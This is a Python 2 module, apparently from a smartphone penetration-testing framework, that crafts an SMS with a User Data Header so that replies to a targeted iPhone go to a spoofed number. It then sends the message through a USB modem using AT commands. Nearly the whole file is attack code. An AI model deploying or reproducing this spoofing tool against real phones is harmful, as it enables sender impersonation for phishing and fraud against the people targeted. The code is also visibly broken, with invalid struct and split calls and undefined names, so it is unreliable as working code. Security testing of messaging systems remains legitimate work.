#!/usr/bin/python
#
# Smartphone Pentest Framework
#
# By: Antimoon
#
# Based extensively off of work by Georgia Weidman and
# Bulb Security
#
# modules/iphone/sms_sender_spoof.py
#

from modem import get_usb_modem
from spf_core import color
import struct

def sms_sender_spoof():
    print color(33, '[*] This module allows you to spoof the Reply-to address on an SMS using the User Data Header (UDH).\n'+
                    '[ ] This attack only works against iPhones.\n'+
                    '[ ] Currently this attack requires a USB mobile modem and does not work with the SPF app.\n')
    print color(35, '[*] Select a USB modem to use for the attack:\n')

    modem = get_usb_modem()
    if modem is 0:
        print color(31, '\nNo USB modems found. Attach a USB modem to use this functionality\n')
    else:
        print color(31, "[!] This functionality isn't perfect yet. "+
               "There is something is wrong with the fill bits on the UDH if it does not meet on a septet boundary.\n"+
               '[ ] The message will be mangled. To get it to work use a 4 digit spoofed number ie 1234 or 9999.\n')

    numberattack = raw_input(color(33, '[+] Number to Attack: '))
    message      = raw_input(color(33, '[+] Message: '))
    spoof        = raw_input(color(33, '[+] Spoofed Reply-To Address: '))

    print color(33,'\n[*] Number to Attack:         ') + color(31,'%s' % numberattack)
    print color(33,'[*] Message:                  ') + color(31,'%s' % message)
    print color(33,'[*] Spoofed Reply-To Address: ') + color(31,'%s' %spoof)

    correct      = raw_input(color(35,'\n[*] Is this correct?(') + color(32,'y') + color(35,'/') + color(32,'N') + color(35,'): '))

    if correct[0].lower() is 'y':
        pdu    = '004100'
        ef     = 0
        length = len(numberattack)
        #print $len;
        if length % 2 is not 0:
            ef = 1
            attacklenhex = '%02x' % length
            #print attacklenhex
            pdu += attacklenhex
            scrambledattack = ''

        i=0
        x = numberattack
        while i < (length-2):
            sub              = x[i+1]
            scrambledattack += sub
            sub              = x[i]
            scrambledattack += sub
            i+=2

        if ef is 1:
            scrambledattack += 'F'
            sub              = x[length-1]
            scrambledattack += sub

        else:
            sub              = x[i+1]
            scrambledattack += sub
            sub              = x[i]
            scrambledattack += sub
            #print scrambledattack

        pdu = '%s91%s0000' % (pdu, scrambledattack)
        eff = 0
        length = len(spoof)
        #print "Length: %s\n" % length
        if length % 2 != 0:
            eff = 1
        spooflenhex = '%02x' % length
        #print "Spoof hex length: %s\n" % spooflenhex
        scrambledspoof = ''

        i=0
        x = spoof
        while i < length-2:
            sub             = x[i+1]
            scrambledspoof += sub
            sub             = x[i]
            scrambledspoof += sub
            i+=2

        if eff is 1:
            scrambledspoof += 'F'
            sub             = x[length-1]
            scrambledspoof += sub
        else:
            sub             = x[i+1]
            scrambledspoof += sub
            sub             = x[i]
            scrambledspoof += sub

        #print $scrambledspoof
        uhd     = '%s91%s' % (spooflenhex, scrambledspoof)
        #print "UHD1: "+$uhd+"\n"
        udhlen1 = len(uhd)/2
        #print "length1 "+$udhlen1+"\n"
        uhd     = '220%s%s' % (udhlen1, uhd)
        #print "UHD2 "+$uhd+"\n"
        udhlen2 = len(uhd)/2
        more    = ((udhlen2+1)*8)%7
        #print "More: "+$more
        if more is not 0:
            more2 = '0'*(7-more)
            #print "More2: "+$more2
        else:
            more2 = ''
        #print "length2 "+$udhlen2+"\n"
        uhdlenhex = '%02x' % udhlen2
        uhd       = uhdlenhex+uhd
        #print "UHD:"+$uhd+"\n";
				
        bin = ''
        length = len(message)
        bits = struct.unpack('B', int(message, 2))[0]
        bits = more2 + bits
        #print "BITS: "+bits+"\n"
        bitslength  = len(bits)/2
        octetlength = bitslength/8
        #print "\n"+$octetlength+"\n"
        septets = ''

        i=0
        while i < octetlength:
            start    = i*8
            octs     = str(bits).split('')[start:start+8]
            sept     = octs.split('')[1:1+7]
            septets += sept
            #print "\nSeptets: %s\n" % septets
            septetlength = len(septets)/7
            #print "\nSeptet Length: %s\n" % str(septetlength)
            eat   = 1
            eaten = 0
            ud    = ''

            j=0
            while j < (septetlength-1):
                start = j*7
                # print "\nEaten: %s\n" % eaten
                first = str(septets).split('')[start:start+(7-eaten)]
                # print "\nFirst: %s\n" % first
                start2 = (j+1)*7
                second = str(septets).split('')[start2:start2+7]
                food   = 7-eat
                stolen = second.split('')[food:food+eat]
                encode = stolen + first
                # print "\nEncode: %s\n" % encode
                hexy   = struct.unpack('H', struct.pack('B',int(encode, 2)))
                eat   += 1
                eat    = eat % 8
                eaten += 1
                eaten  = eaten % 8
                # print "\nHexy: %s\n" % hexy
                ud    += hexy
                j+=1

            first     = septets.split('')[((septetlength-1)*7):((septetlength-1)*7)+(7-eaten)]
            #print "\nFirst: %s\n" % first
            fill      = 1 + eaten
            zeros     = '0'*fill
            encode    = zeros + first
            #print "\nEncode: %s\n" % encode
            hexy      = struct.unpack('H', struct.pack('B', int(encode,2)))
            ud       += hexy
            #print "\nUD: %s\n" % ud
            ud        = uhd+ud
            udlength  = len(ud)
            udlength2 = udlength/2
            extra     = int(udlength2/7)
            udlength3 = udlength2 + extra
            udlenhex  = '%02x' % udlength3
            pdu      += udlenhex+ud
            #print "\nPDU: %s\n" % pdu
            pdulen    = (len(pdu)/2) - 1
            #print "\nPDULENGTH: %s\n" % pdulen

            usb = serial.serialposix(port='/dev/ttyUSB2', baudrate=115200, bytesize=8, parity='N', stopbits=1)
            usb.write('ATZ\r\n')
            sleep(1)

            line = read_modem(usb)
            print line
            sleep(1)

            usb.write('AT+CMGF=0\r\n')
            line = read_modem(usb)
            print line
            sleep(1)

            usb.write('AT+CMGS=%s\r\n' % pdulen)
            #usb.write("AT+CMGS=27\r\n")
            line = read_modem(usb)
            print line
            sleep(1)

            msg = pdu
            #msg = "0041000B916110831316F900000F0A22080B915117344588F142A701"
            usb.write(msg.pack('b',26))
            sleep(10)

            line = read_modem(usb)
            print line
            usb.close()
            
            i+=1
    return 0
